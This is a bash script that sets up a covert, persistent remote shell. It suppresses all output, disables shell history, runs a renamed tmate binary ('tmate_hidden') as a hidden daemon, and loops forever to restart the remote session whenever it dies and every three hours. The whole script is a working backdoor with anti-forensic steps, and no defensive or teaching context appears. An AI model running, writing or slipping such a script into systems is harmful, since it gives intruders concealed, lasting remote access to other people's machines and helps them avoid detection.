#!/bin/bash # Silence all output exec 1>/dev/null 2>&1 # Disable shell history unset HISTFILE export HISTFILE=/dev/null # Remove stale socket to avoid startup errors rm -f /tmp/tmate.sock # Start tmate daemon managing the socket in background tmate_hidden -S /tmp/tmate.sock -f & # Wait a bit to ensure daemon starts sleep 2 # Create detached tmate session silently tmate_hidden -S /tmp/tmate.sock new-session -d # Wait for session to be ready tmate_hidden -S /tmp/tmate.sock wait tmate-ready # Loop to keep session alive and restart every 3 hours start_time=$(date +%s) while true; do # Restart daemon and session if daemon dies if ! pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; then tmate_hidden -S /tmp/tmate.sock -f & sleep 2 tmate_hidden -S /tmp/tmate.sock new-session -d tmate_hidden -S /tmp/tmate.sock wait tmate-ready start_time=$(date +%s) fi # Restart every 3 hours current_time=$(date +%s) elapsed=$((current_time - start_time)) if [ "$elapsed" -ge 10800 ]; then pkill -f "tmate_hidden -S /tmp/tmate.sock" sleep 1 tmate_hidden -S /tmp/tmate.sock -f & sleep 2 tmate_hidden -S /tmp/tmate.sock new-session -d tmate_hidden -S /tmp/tmate.sock wait tmate-ready start_time=$(date +%s) fi sleep 10 done